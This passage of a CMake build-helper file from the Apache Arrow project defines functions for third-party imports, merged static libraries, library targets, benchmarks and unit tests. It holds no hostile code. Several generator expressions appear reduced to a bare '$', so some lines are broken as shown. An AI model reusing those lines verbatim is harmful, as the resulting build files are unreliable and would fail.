regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n# Common path suffixes to be searched by find_library or find_path.\n# Windows artifacts may be found under \"/Library\", so\n# search there as well.\nset(ARROW_LIBRARY_PATH_SUFFIXES\n \"${CMAKE_LIBRARY_ARCHITECTURE}\"\n \"lib/${CMAKE_LIBRARY_ARCHITECTURE}\"\n \"lib64\"\n \"lib32\"\n \"lib\"\n \"bin\"\n \"Library\"\n \"Library/lib\"\n \"Library/bin\")\nset(ARROW_INCLUDE_PATH_SUFFIXES \"include\" \"Library\" \"Library/include\")\n\nset(ARROW_BOOST_PROCESS_COMPILE_DEFINITIONS)\nif(WIN32 AND CMAKE_CXX_COMPILER_ID STREQUAL \"GNU\")\n # boost/process/detail/windows/handle_workaround.hpp doesn't work\n # without BOOST_USE_WINDOWS_H with MinGW because MinGW doesn't\n # provide __kernel_entry without winternl.h.\n #\n # See also:\n # https://github.com/boostorg/process/blob/develop/include/boost/process/detail/windows/handle_workaround.hpp\n #\n # You can use this like the following:\n #\n # target_compile_definitions(target PRIVATE\n # ${ARROW_BOOST_PROCESS_COMPILE_DEFINITIONS})\n list(APPEND ARROW_BOOST_PROCESS_COMPILE_DEFINITIONS \"BOOST_USE_WINDOWS_H=1\")\nendif()\n\nfunction(ADD_THIRDPARTY_LIB LIB_NAME)\n set(options)\n set(one_value_args SHARED_LIB STATIC_LIB)\n set(multi_value_args DEPS INCLUDE_DIRECTORIES)\n cmake_parse_arguments(ARG\n \"${options}\"\n \"${one_value_args}\"\n \"${multi_value_args}\"\n ${ARGN})\n if(ARG_UNPARSED_ARGUMENTS)\n message(SEND_ERROR \"Error: unrecognized arguments: ${ARG_UNPARSED_ARGUMENTS}\")\n endif()\n\n if(ARG_STATIC_LIB AND ARG_SHARED_LIB)\n set(AUG_LIB_NAME \"${LIB_NAME}_static\")\n add_library(${AUG_LIB_NAME} STATIC IMPORTED)\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES IMPORTED_LOCATION \"${ARG_STATIC_LIB}\")\n if(ARG_DEPS)\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES INTERFACE_LINK_LIBRARIES \"${ARG_DEPS}\")\n endif()\n message(STATUS \"Added static library dependency ${AUG_LIB_NAME}: ${ARG_STATIC_LIB}\")\n if(ARG_INCLUDE_DIRECTORIES)\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES INTERFACE_INCLUDE_DIRECTORIES\n \"${ARG_INCLUDE_DIRECTORIES}\")\n endif()\n\n set(AUG_LIB_NAME \"${LIB_NAME}_shared\")\n add_library(${AUG_LIB_NAME} SHARED IMPORTED)\n\n if(WIN32)\n # Mark the \".lib\" location as part of a Windows DLL\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES IMPORTED_IMPLIB \"${ARG_SHARED_LIB}\")\n else()\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES IMPORTED_LOCATION \"${ARG_SHARED_LIB}\")\n endif()\n if(ARG_DEPS)\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES INTERFACE_LINK_LIBRARIES \"${ARG_DEPS}\")\n endif()\n message(STATUS \"Added shared library dependency ${AUG_LIB_NAME}: ${ARG_SHARED_LIB}\")\n if(ARG_INCLUDE_DIRECTORIES)\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES INTERFACE_INCLUDE_DIRECTORIES\n \"${ARG_INCLUDE_DIRECTORIES}\")\n endif()\n elseif(ARG_STATIC_LIB)\n set(AUG_LIB_NAME \"${LIB_NAME}_static\")\n add_library(${AUG_LIB_NAME} STATIC IMPORTED)\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES IMPORTED_LOCATION \"${ARG_STATIC_LIB}\")\n if(ARG_DEPS)\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES INTERFACE_LINK_LIBRARIES \"${ARG_DEPS}\")\n endif()\n message(STATUS \"Added static library dependency ${AUG_LIB_NAME}: ${ARG_STATIC_LIB}\")\n if(ARG_INCLUDE_DIRECTORIES)\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES INTERFACE_INCLUDE_DIRECTORIES\n \"${ARG_INCLUDE_DIRECTORIES}\")\n endif()\n elseif(ARG_SHARED_LIB)\n set(AUG_LIB_NAME \"${LIB_NAME}_shared\")\n add_library(${AUG_LIB_NAME} SHARED IMPORTED)\n\n if(WIN32)\n # Mark the \".lib\" location as part of a Windows DLL\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES IMPORTED_IMPLIB \"${ARG_SHARED_LIB}\")\n else()\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES IMPORTED_LOCATION \"${ARG_SHARED_LIB}\")\n endif()\n message(STATUS \"Added shared library dependency ${AUG_LIB_NAME}: ${ARG_SHARED_LIB}\")\n if(ARG_DEPS)\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES INTERFACE_LINK_LIBRARIES \"${ARG_DEPS}\")\n endif()\n if(ARG_INCLUDE_DIRECTORIES)\n set_target_properties(${AUG_LIB_NAME}\n PROPERTIES INTERFACE_INCLUDE_DIRECTORIES\n \"${ARG_INCLUDE_DIRECTORIES}\")\n endif()\n else()\n message(FATAL_ERROR \"No static or shared library provided for ${LIB_NAME}\")\n endif()\nendfunction()\n\nfunction(REUSE_PRECOMPILED_HEADER_LIB TARGET_NAME LIB_NAME)\n if(ARROW_USE_PRECOMPILED_HEADERS)\n target_precompile_headers(${TARGET_NAME} REUSE_FROM ${LIB_NAME})\n endif()\nendfunction()\n\n# Based on MIT-licensed\n# https://gist.github.com/cristianadam/ef920342939a89fae3e8a85ca9459b49\nfunction(create_merged_static_lib output_target)\n set(options)\n set(one_value_args NAME ROOT)\n set(multi_value_args TO_MERGE)\n cmake_parse_arguments(ARG\n \"${options}\"\n \"${one_value_args}\"\n \"${multi_value_args}\"\n ${ARGN})\n if(ARG_UNPARSED_ARGUMENTS)\n message(SEND_ERROR \"Error: unrecognized arguments: ${ARG_UNPARSED_ARGUMENTS}\")\n endif()\n\n set(\n output_lib_path\n ${BUILD_OUTPUT_ROOT_DIRECTORY}${CMAKE_STATIC_LIBRARY_PREFIX}${ARG_NAME}${CMAKE_STATIC_LIBRARY_SUFFIX}\n )\n\n set(all_library_paths $)\n foreach(lib ${ARG_TO_MERGE})\n list(APPEND all_library_paths $)\n endforeach()\n\n if(APPLE)\n set(BUNDLE_COMMAND\n \"libtool\"\n \"-no_warning_for_no_symbols\"\n \"-static\"\n \"-o\"\n ${output_lib_path}\n ${all_library_paths})\n elseif(CMAKE_CXX_COMPILER_ID MATCHES \"^(Clang|GNU)$\")\n set(ar_script_path ${CMAKE_BINARY_DIR}/${ARG_NAME}.ar)\n\n file(WRITE ${ar_script_path}.in \"CREATE ${output_lib_path}\\n\")\n file(APPEND ${ar_script_path}.in \"ADDLIB $\\n\")\n\n foreach(lib ${ARG_TO_MERGE})\n file(APPEND ${ar_script_path}.in \"ADDLIB $\\n\")\n endforeach()\n\n file(APPEND ${ar_script_path}.in \"SAVE\\nEND\\n\")\n file(GENERATE OUTPUT ${ar_script_path} INPUT ${ar_script_path}.in)\n set(ar_tool ${CMAKE_AR})\n\n if(CMAKE_INTERPROCEDURAL_OPTIMIZATION)\n set(ar_tool ${CMAKE_CXX_COMPILER_AR})\n endif()\n\n set(BUNDLE_COMMAND ${ar_tool} -M < ${ar_script_path})\n\n elseif(MSVC)\n if(NOT CMAKE_LIBTOOL)\n find_program(lib_tool lib HINTS \"${CMAKE_CXX_COMPILER}/..\")\n if(\"${lib_tool}\" STREQUAL \"lib_tool-NOTFOUND\")\n message(FATAL_ERROR \"Cannot locate libtool to bundle libraries\")\n endif()\n else()\n set(${lib_tool} ${CMAKE_LIBTOOL})\n endif()\n set(BUNDLE_TOOL ${lib_tool})\n set(BUNDLE_COMMAND ${BUNDLE_TOOL} /NOLOGO /OUT:${output_lib_path}\n ${all_library_paths})\n else()\n message(FATAL_ERROR \"Unknown bundle scenario!\")\n endif()\n\n add_custom_command(COMMAND ${BUNDLE_COMMAND}\n OUTPUT ${output_lib_path}\n COMMENT \"Bundling ${output_lib_path}\"\n VERBATIM)\n\n message(\n STATUS \"Creating bundled static library target ${output_target} at ${output_lib_path}\"\n )\n\n add_custom_target(${output_target} ALL DEPENDS ${output_lib_path})\n add_dependencies(${output_target} ${ARG_ROOT} ${ARG_TO_MERGE})\n install(FILES ${output_lib_path} DESTINATION ${CMAKE_INSTALL_LIBDIR})\nendfunction()\n\n# \\arg OUTPUTS list to append built targets to\nfunction(ADD_ARROW_LIB LIB_NAME)\n set(options)\n set(one_value_args\n BUILD_SHARED\n BUILD_STATIC\n CMAKE_PACKAGE_NAME\n PKG_CONFIG_NAME\n SHARED_LINK_FLAGS\n PRECOMPILED_HEADER_LIB)\n set(multi_value_args\n SOURCES\n PRECOMPILED_HEADERS\n OUTPUTS\n STATIC_LINK_LIBS\n SHARED_LINK_LIBS\n SHARED_PRIVATE_LINK_LIBS\n EXTRA_INCLUDES\n PRIVATE_INCLUDES\n DEPENDENCIES\n SHARED_INSTALL_INTERFACE_LIBS\n STATIC_INSTALL_INTERFACE_LIBS\n OUTPUT_PATH)\n cmake_parse_arguments(ARG\n \"${options}\"\n \"${one_value_args}\"\n \"${multi_value_args}\"\n ${ARGN})\n if(ARG_UNPARSED_ARGUMENTS)\n message(SEND_ERROR \"Error: unrecognized arguments: ${ARG_UNPARSED_ARGUMENTS}\")\n endif()\n\n if(ARG_OUTPUTS)\n set(${ARG_OUTPUTS})\n endif()\n\n # Allow overriding ARROW_BUILD_SHARED and ARROW_BUILD_STATIC\n if(DEFINED ARG_BUILD_SHARED)\n set(BUILD_SHARED ${ARG_BUILD_SHARED})\n else()\n set(BUILD_SHARED ${ARROW_BUILD_SHARED})\n endif()\n if(DEFINED ARG_BUILD_STATIC)\n set(BUILD_STATIC ${ARG_BUILD_STATIC})\n else()\n set(BUILD_STATIC ${ARROW_BUILD_STATIC})\n endif()\n if(ARG_OUTPUT_PATH)\n set(OUTPUT_PATH ${ARG_OUTPUT_PATH})\n else()\n set(OUTPUT_PATH ${BUILD_OUTPUT_ROOT_DIRECTORY})\n endif()\n\n if(WIN32 OR (CMAKE_GENERATOR STREQUAL Xcode))\n # We need to compile C++ separately for each library kind (shared and static)\n # because of dllexport declarations on Windows.\n # The Xcode generator doesn't reliably work with Xcode as target names are not\n # guessed correctly.\n set(USE_OBJLIB OFF)\n else()\n set(USE_OBJLIB ON)\n endif()\n\n if(USE_OBJLIB)\n # Generate a single \"objlib\" from all C++ modules and link\n # that \"objlib\" into each library kind, to avoid compiling twice\n add_library(${LIB_NAME}_objlib OBJECT ${ARG_SOURCES})\n # Necessary to make static linking into other shared libraries work properly\n set_property(TARGET ${LIB_NAME}_objlib PROPERTY POSITION_INDEPENDENT_CODE 1)\n if(ARG_DEPENDENCIES)\n add_dependencies(${LIB_NAME}_objlib ${ARG_DEPENDENCIES})\n endif()\n if(ARG_PRECOMPILED_HEADER_LIB)\n reuse_precompiled_header_lib(${LIB_NAME}_objlib ${ARG_PRECOMPILED_HEADER_LIB})\n endif()\n if(ARG_PRECOMPILED_HEADERS AND ARROW_USE_PRECOMPILED_HEADERS)\n target_precompile_headers(${LIB_NAME}_objlib PRIVATE ${ARG_PRECOMPILED_HEADERS})\n endif()\n set(LIB_DEPS $)\n set(LIB_INCLUDES)\n set(EXTRA_DEPS)\n\n if(ARG_OUTPUTS)\n list(APPEND ${ARG_OUTPUTS} ${LIB_NAME}_objlib)\n endif()\n\n if(ARG_EXTRA_INCLUDES)\n target_include_directories(${LIB_NAME}_objlib SYSTEM PUBLIC ${ARG_EXTRA_INCLUDES})\n endif()\n if(ARG_PRIVATE_INCLUDES)\n target_include_directories(${LIB_NAME}_objlib PRIVATE ${ARG_PRIVATE_INCLUDES})\n endif()\n else()\n # Prepare arguments for separate compilation of static and shared libs below\n # TODO: add PCH directives\n set(LIB_DEPS ${ARG_SOURCES})\n set(EXTRA_DEPS ${ARG_DEPENDENCIES})\n\n if(ARG_EXTRA_INCLUDES)\n set(LIB_INCLUDES ${ARG_EXTRA_INCLUDES})\n endif()\n endif()\n\n set(RUNTIME_INSTALL_DIR bin)\n\n if(BUILD_SHARED)\n add_library(${LIB_NAME}_shared SHARED ${LIB_DEPS})\n if(EXTRA_DEPS)\n add_dependencies(${LIB_NAME}_shared ${EXTRA_DEPS})\n endif()\n\n if(ARG_PRECOMPILED_HEADER_LIB)\n reuse_precompiled_header_lib(${LIB_NAME}_shared ${ARG_PRECOMPILED_HEADER_LIB})\n endif()\n\n if(ARG_OUTPUTS)\n list(APPEND ${ARG_OUTPUTS} ${LIB_NAME}_shared)\n endif()\n\n if(LIB_INCLUDES)\n target_include_directories(${LIB_NAME}_shared SYSTEM PUBLIC ${ARG_EXTRA_INCLUDES})\n endif()\n\n if(ARG_PRIVATE_INCLUDES)\n target_include_directories(${LIB_NAME}_shared PRIVATE ${ARG_PRIVATE_INCLUDES})\n endif()\n\n # On iOS, specifying -undefined conflicts with enabling bitcode\n if(APPLE AND NOT IOS AND NOT DEFINED ENV{EMSCRIPTEN})\n # On OS X, you can avoid linking at library load time and instead\n # expecting that the symbols have been loaded separately. This happens\n # with libpython* where there can be conflicts between system Python and\n # the Python from a thirdparty distribution\n #\n # When running with the Emscripten Compiler, we need not worry about\n # python, and the Emscripten Compiler does not support this option.\n set(ARG_SHARED_LINK_FLAGS \"-undefined dynamic_lookup ${ARG_SHARED_LINK_FLAGS}\")\n endif()\n\n set_target_properties(${LIB_NAME}_shared\n PROPERTIES LIBRARY_OUTPUT_DIRECTORY\n \"${OUTPUT_PATH}\"\n RUNTIME_OUTPUT_DIRECTORY\n \"${OUTPUT_PATH}\"\n PDB_OUTPUT_DIRECTORY\n \"${OUTPUT_PATH}\"\n LINK_FLAGS\n \"${ARG_SHARED_LINK_FLAGS}\"\n OUTPUT_NAME\n ${LIB_NAME}\n VERSION\n \"${ARROW_FULL_SO_VERSION}\"\n SOVERSION\n \"${ARROW_SO_VERSION}\")\n\n target_link_libraries(${LIB_NAME}_shared\n LINK_PUBLIC\n \"$\"\n \"$\"\n LINK_PRIVATE\n ${ARG_SHARED_PRIVATE_LINK_LIBS})\n\n if(ARROW_RPATH_ORIGIN)\n if(APPLE)\n set(_lib_install_rpath \"@loader_path\")\n else()\n set(_lib_install_rpath \"\\$ORIGIN\")\n endif()\n set_target_properties(${LIB_NAME}_shared\n PROPERTIES INSTALL_RPATH ${_lib_install_rpath})\n endif()\n\n if(APPLE)\n if(ARROW_INSTALL_NAME_RPATH)\n set(_lib_install_name \"@rpath\")\n else()\n set(_lib_install_name \"${CMAKE_INSTALL_PREFIX}/${CMAKE_INSTALL_LIBDIR}\")\n endif()\n set_target_properties(${LIB_NAME}_shared\n PROPERTIES BUILD_WITH_INSTALL_RPATH ON INSTALL_NAME_DIR\n \"${_lib_install_name}\")\n endif()\n\n install(TARGETS ${LIB_NAME}_shared ${INSTALL_IS_OPTIONAL}\n EXPORT ${LIB_NAME}_targets\n RUNTIME DESTINATION ${RUNTIME_INSTALL_DIR}\n LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}\n ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}\n INCLUDES DESTINATION ${CMAKE_INSTALL_INCLUDEDIR})\n endif()\n\n if(BUILD_STATIC)\n add_library(${LIB_NAME}_static STATIC ${LIB_DEPS})\n if(EXTRA_DEPS)\n add_dependencies(${LIB_NAME}_static ${EXTRA_DEPS})\n endif()\n\n if(ARG_PRECOMPILED_HEADER_LIB)\n reuse_precompiled_header_lib(${LIB_NAME}_static ${ARG_PRECOMPILED_HEADER_LIB})\n endif()\n\n if(ARG_OUTPUTS)\n list(APPEND ${ARG_OUTPUTS} ${LIB_NAME}_static)\n endif()\n\n if(LIB_INCLUDES)\n target_include_directories(${LIB_NAME}_static SYSTEM PUBLIC ${ARG_EXTRA_INCLUDES})\n endif()\n\n if(ARG_PRIVATE_INCLUDES)\n target_include_directories(${LIB_NAME}_static PRIVATE ${ARG_PRIVATE_INCLUDES})\n endif()\n\n if(MSVC_TOOLCHAIN)\n set(LIB_NAME_STATIC ${LIB_NAME}_static)\n else()\n set(LIB_NAME_STATIC ${LIB_NAME})\n endif()\n\n if(ARROW_BUILD_STATIC AND WIN32)\n target_compile_definitions(${LIB_NAME}_static PUBLIC ARROW_STATIC)\n endif()\n\n set_target_properties(${LIB_NAME}_static\n PROPERTIES LIBRARY_OUTPUT_DIRECTORY \"${OUTPUT_PATH}\" OUTPUT_NAME\n ${LIB_NAME_STATIC})\n\n if(ARG_STATIC_INSTALL_INTERFACE_LIBS)\n target_link_libraries(${LIB_NAME}_static LINK_PUBLIC\n \"$\")\n endif()\n\n if(ARG_STATIC_LINK_LIBS)\n target_link_libraries(${LIB_NAME}_static LINK_PRIVATE\n \"$\")\n endif()\n\n install(TARGETS ${LIB_NAME}_static ${INSTALL_IS_OPTIONAL}\n EXPORT ${LIB_NAME}_targets\n RUNTIME DESTINATION ${RUNTIME_INSTALL_DIR}\n LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}\n ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}\n INCLUDES DESTINATION ${CMAKE_INSTALL_INCLUDEDIR})\n endif()\n\n if(ARG_CMAKE_PACKAGE_NAME)\n arrow_install_cmake_find_module(\"${ARG_CMAKE_PACKAGE_NAME}\")\n\n set(TARGETS_CMAKE \"${ARG_CMAKE_PACKAGE_NAME}Targets.cmake\")\n install(EXPORT ${LIB_NAME}_targets\n FILE \"${TARGETS_CMAKE}\"\n DESTINATION \"${ARROW_CMAKE_INSTALL_DIR}\")\n\n set(CONFIG_CMAKE \"${ARG_CMAKE_PACKAGE_NAME}Config.cmake\")\n set(BUILT_CONFIG_CMAKE \"${CMAKE_CURRENT_BINARY_DIR}/${CONFIG_CMAKE}\")\n configure_package_config_file(\"${CONFIG_CMAKE}.in\" \"${BUILT_CONFIG_CMAKE}\"\n INSTALL_DESTINATION \"${ARROW_CMAKE_INSTALL_DIR}\")\n install(FILES \"${BUILT_CONFIG_CMAKE}\" DESTINATION \"${ARROW_CMAKE_INSTALL_DIR}\")\n\n set(CONFIG_VERSION_CMAKE \"${ARG_CMAKE_PACKAGE_NAME}ConfigVersion.cmake\")\n set(BUILT_CONFIG_VERSION_CMAKE \"${CMAKE_CURRENT_BINARY_DIR}/${CONFIG_VERSION_CMAKE}\")\n write_basic_package_version_file(\"${BUILT_CONFIG_VERSION_CMAKE}\"\n VERSION ${${PROJECT_NAME}_VERSION}\n COMPATIBILITY AnyNewerVersion)\n install(FILES \"${BUILT_CONFIG_VERSION_CMAKE}\"\n DESTINATION \"${ARROW_CMAKE_INSTALL_DIR}\")\n endif()\n\n if(ARG_PKG_CONFIG_NAME)\n arrow_add_pkg_config(\"${ARG_PKG_CONFIG_NAME}\")\n endif()\n\n # Modify variable in calling scope\n if(ARG_OUTPUTS)\n set(${ARG_OUTPUTS} ${${ARG_OUTPUTS}} PARENT_SCOPE)\n endif()\nendfunction()\n\n#\n# Benchmarking\n#\n# Add a new micro benchmark, with or without an executable that should be built.\n# If benchmarks are enabled then they will be run along side unit tests with ctest.\n# 'make benchmark' and 'make unittest' to build/run only benchmark or unittests,\n# respectively.\n#\n# REL_BENCHMARK_NAME is the name of the benchmark app. It may be a single component\n# (e.g. monotime-benchmark) or contain additional components (e.g.\n# net/net_util-benchmark). Either way, the last component must be a globally\n# unique name.\n\n# The benchmark will registered as unit test with ctest with a label\n# of 'benchmark'.\n#\n# Arguments after the test name will be passed to set_tests_properties().\n#\n# \\arg PREFIX a string to append to the name of the benchmark executable. For\n# example, if you have src/arrow/foo/bar-benchmark.cc, then PREFIX \"foo\" will\n# create test executable foo-bar-benchmark\n# \\arg LABELS the benchmark label or labels to assign the unit tests to. By\n# default, benchmarks will go in the \"benchmark\" group. Custom targets for the\n# group names must exist\nfunction(ADD_BENCHMARK REL_BENCHMARK_NAME)\n set(options)\n set(one_value_args)\n set(multi_value_args\n EXTRA_LINK_LIBS\n STATIC_LINK_LIBS\n DEPENDENCIES\n PREFIX\n LABELS)\n cmake_parse_arguments(ARG\n \"${options}\"\n \"${one_value_args}\"\n \"${multi_value_args}\"\n ${ARGN})\n if(ARG_UNPARSED_ARGUMENTS)\n message(SEND_ERROR \"Error: unrecognized arguments: ${ARG_UNPARSED_ARGUMENTS}\")\n endif()\n\n if(NO_BENCHMARKS)\n return()\n endif()\n get_filename_component(BENCHMARK_NAME ${REL_BENCHMARK_NAME} NAME_WE)\n\n if(ARG_PREFIX)\n set(BENCHMARK_NAME \"${ARG_PREFIX}-${BENCHMARK_NAME}\")\n endif()\n\n # Make sure the executable name contains only hyphens, not underscores\n string(REPLACE \"_\" \"-\" BENCHMARK_NAME ${BENCHMARK_NAME})\n\n if(EXISTS ${CMAKE_CURRENT_SOURCE_DIR}/${REL_BENCHMARK_NAME}.cc)\n # This benchmark has a corresponding .cc file, set it up as an executable.\n set(BENCHMARK_PATH \"${EXECUTABLE_OUTPUT_PATH}/${BENCHMARK_NAME}\")\n add_executable(${BENCHMARK_NAME} \"${REL_BENCHMARK_NAME}.cc\")\n\n if(ARG_STATIC_LINK_LIBS)\n # Customize link libraries\n target_link_libraries(${BENCHMARK_NAME} PRIVATE ${ARG_STATIC_LINK_LIBS})\n else()\n target_link_libraries(${BENCHMARK_NAME} PRIVATE ${ARROW_BENCHMARK_LINK_LIBS})\n endif()\n add_dependencies(benchmark ${BENCHMARK_NAME})\n set(NO_COLOR \"--color_print=false\")\n\n if(ARG_EXTRA_LINK_LIBS)\n target_link_libraries(${BENCHMARK_NAME} PRIVATE ${ARG_EXTRA_LINK_LIBS})\n endif()\n else()\n # No executable, just invoke the benchmark (probably a script) directly.\n set(BENCHMARK_PATH ${CMAKE_CURRENT_SOURCE_DIR}/${REL_BENCHMARK_NAME})\n set(NO_COLOR \"\")\n endif()\n\n # With OSX and conda, we need to set the correct RPATH so that dependencies\n # are found. The installed libraries with conda have an RPATH that matches\n # for executables and libraries lying in $ENV{CONDA_PREFIX}/bin or\n # $ENV{CONDA_PREFIX}/lib but our test libraries and executables are not\n # installed there.\n if(NOT \"$ENV{CONDA_PREFIX}\" STREQUAL \"\" AND APPLE)\n set_target_properties(${BENCHMARK_NAME}\n PROPERTIES BUILD_WITH_INSTALL_RPATH\n TRUE\n INSTALL_RPATH_USE_LINK_PATH\n TRUE\n INSTALL_RPATH\n \"$ENV{CONDA_PREFIX}/lib;${EXECUTABLE_OUTPUT_PATH}\")\n endif()\n\n # Add test as dependency of relevant label targets\n add_dependencies(all-benchmarks ${BENCHMARK_NAME})\n foreach(TARGET ${ARG_LABELS})\n add_dependencies(${TARGET} ${BENCHMARK_NAME})\n endforeach()\n\n if(ARG_DEPENDENCIES)\n add_dependencies(${BENCHMARK_NAME} ${ARG_DEPENDENCIES})\n endif()\n\n if(ARG_LABELS)\n set(ARG_LABELS \"benchmark;${ARG_LABELS}\")\n else()\n set(ARG_LABELS benchmark)\n endif()\n\n add_test(${BENCHMARK_NAME}\n ${BUILD_SUPPORT_DIR}/run-test.sh\n ${CMAKE_BINARY_DIR}\n benchmark\n ${BENCHMARK_PATH}\n ${NO_COLOR})\n set_property(TEST ${BENCHMARK_NAME} APPEND PROPERTY LABELS ${ARG_LABELS})\nendfunction()\n\n#\n# Testing\n#\n# Add a new test case, with or without an executable that should be built.\n#\n# REL_TEST_NAME is the name of the test. It may be a single component\n# (e.g. monotime-test) or contain additional components (e.g.\n# net/net_util-test). Either way, the last component must be a globally\n# unique name.\n#\n# If given, SOURCES is the list of C++ source files to compile into the test\n# executable. Otherwise, \"REL_TEST_NAME.cc\" is used.\n#\n# The unit test is added with a label of \"unittest\" to support filtering with\n# ctest.\n#\n# Arguments after the test name will be passed to set_tests_properties().\n#\n# \\arg ENABLED if passed, add this unit test even if ARROW_BUILD_TESTS is off\n# \\arg PREFIX a string to append to the name of the test executable. For\n# example, if you have src/arrow/foo/bar-test.cc, then PREFIX \"foo\" will create\n# test executable foo-bar-test\n# \\arg LABELS the unit test label or labels to assign the unit tests\n# to. By default, unit tests will go in the \"unittest\" group, but if we have\n# multiple unit tests in some subgroup, you can assign a test to multiple\n# groups use the syntax unittest;GROUP2;GROUP3. Custom targets for the group\n# names must exist\nfunction(ADD_TEST_CASE REL_TEST_NAME)\n set(options NO_VALGRIND ENABLED)\n set(one_value_args PRECOMPILED_HEADER_LIB)\n set(multi_value_args\n SOURCES\n PRECOMPILED_HEADERS\n STATIC_LINK_LIBS\n EXTRA_LINK_LIBS\n EXTRA_INCLUDES\n EXTRA_DEPENDENCIES\n LABELS\n EXTRA_LABELS\n PREFIX)\n cmake_parse_arguments(ARG\n \"${options}\"\n \"${one_value_args}\"\n \"${multi_value_args}\"\n ${ARGN})\n if(ARG_UNPARSED_ARGUMENTS)\n message(SEND_ERROR \"Error: unrecognized arguments: ${ARG_UNPARSED_ARGUMENTS}\")\n endif()\n\n if(NO_TESTS AND NOT ARG_ENABLED)\n return()\n endif()\n get_filename_component(TEST_NAME ${REL_TEST_NAME} NAME_WE)\n\n if(ARG_PREFIX)\n set(TEST_NAME \"${ARG_PREFIX}-${TEST_NAME}\")\n endif()\n\n if(ARG_SOURCES)\n set(SOURCES ${ARG_SOURCES})\n else()\n set(SOURCES \"${REL_TEST_NAME}.cc\")\n endif()\n\n # Make sure the executable name contains only hyphens, not underscores\n string(REPLACE \"_\" \"-\" TEST_NAME ${TEST_NAME})\n\n set(TEST_PATH \"${EXECUTABLE_OUTPUT_PATH}/${TEST_NAME}\")\n add_executable(${TEST_NAME} ${SOURCES})\n\n # With OSX and conda, we need to set the correct RPATH so that dependencies\n # are found. The installed libraries with conda have an RPATH that matches\n # for executables and libraries lying in $ENV{CONDA_PREFIX}/bin or\n # $ENV{CONDA_PREFIX}/lib but our test libraries and executables are not\n # installed there.\n if(NOT \"$ENV{CONDA_PREFIX}\" STREQUAL \"\" AND APPLE)\n set_target_properties(${TEST_NAME}\n PROPERTIES BUILD_WITH_INSTALL_RPATH\n TRUE\n INSTALL_RPATH_USE_LINK_PATH\n TRUE\n INSTALL_RPATH\n \"${EXECUTABLE_OUTPUT_PATH};$ENV{CONDA_PREFIX}/lib\")\n endif()\n\n if(ARG_STATIC_LINK_LIBS)\n # Customize link libraries\n target_link_libraries(${TEST_NAME} PRIVATE ${ARG_STATIC_LINK_LIBS})\n else()\n target_link_libraries(${TEST_NAME} PRIVATE ${ARROW_TEST_LINK_LIBS})\n endif()\n\n if(ARG_PRECOMPILED_HEADER_LIB)\n reuse_precompiled_header_lib(${TEST_NAME} ${ARG_PRECOMPILED_HEADER_LIB})\n endif()\n\n if(ARG_PRECOMPILED_HEADERS AND ARROW_USE_PRECOMPILED_HEADERS)\n target_precompile_headers(${TEST_NAME} PRIVATE ${ARG_PRECOMPILED_HEADERS})\n endif()\n\n if(ARG_EXTRA_LINK_LIBS)\n target_link_libraries(${TEST_NAME} PRIVATE ${ARG_EXTRA_LINK_LIBS})\n endif()\n\n if(ARG_EXTRA_INCLUDES)\n target_include_directories(${TEST_NAME} SYSTEM PUBLIC ${ARG_EXTRA_INCLUDES})\n endif()\n\n if(ARG_EXTRA_DEPENDENCIES)\n add_dependencies(${TEST_NAME} ${ARG_EXTRA_DEPENDENCIES})\n endif()\n\n if(ARROW_TEST_MEMCHECK AND NOT ARG_NO_VALGRIND)\n add_test(\n ${TEST_NAME} bash -c\n \"cd '${CMAKE_SOURCE_DIR}'; \\\n valgrind --suppressions=valgrind.supp --tool=memcheck --gen-suppressions=all \\\n --num-callers=500 --leak-check=full --leak-check-heuristics=stdstring \\\n --error-exitcode=1 ${TEST_PATH}\")\n elseif(WIN32)\n add_test(${TEST_NAME} ${TEST_PATH})\n else()\n add_test(${TEST_NAME}\n ${BUILD_SUPPORT_DIR}/run-test.sh\n ${CMAKE_BINARY_DIR}\n test\n ${TEST_PATH})\n endif()\n\n # Add test as dependency of relevant targets\n add_dependencies(all-tests ${TEST_NAME})\n foreach(TARGET ${ARG_LABELS})\n add_dependencies(${TARGET} ${TEST_NAME})\n endforeach()\n\n set(LABELS)\n list(APPEND LABELS \"unittest\")\n if(ARG_LABELS)\n list(APPEND LABELS ${ARG_LABELS})\n endif()\n # EXTRA_LABELS don't create their own dependencies, they are only used\n # to ease running certain test categories.\n if(ARG_EXTRA_LABELS)\n list(APPEND LABELS ${ARG_EXTRA_LABELS})\n endif()\n\n foreach(LABEL ${ARG_LABELS})\n # ensure there is a cmake target which exercises tests with this LABEL\n set(LABEL_TEST_NAME \"test-${LABEL}\")\n if(NOT TARGET ${LABEL_TEST_NAME})\n add_custom_target(${LABEL_TEST_NAME}\n ctest\n -L\n \"${LABEL}\"\n --output-on-failure\n USES_TERMINAL)\n endif()\n # ensure the test is (re)built before the LABEL test runs\n add_dependencies(${LABEL_TEST_NAME} ${TEST_NAME})\n endforeach()\n\n set_property(TEST ${TEST_NAME} APPEND PROPERTY LABELS ${LABELS})\nendfunction()\n\n#\n# Examples\n#\n# Add a new example, with or without an executable that should be built.\n# If examples are enabled then they will be run along side unit tests with ctest.\n# 'make runexample' to build/run only examples.\n#\n# REL_EXAMPLE_NAME is the name of the example app. It may be a single component\n# (e.g. monotime-example) or contain additional components (e.g.\n# net/net_util-example). Either 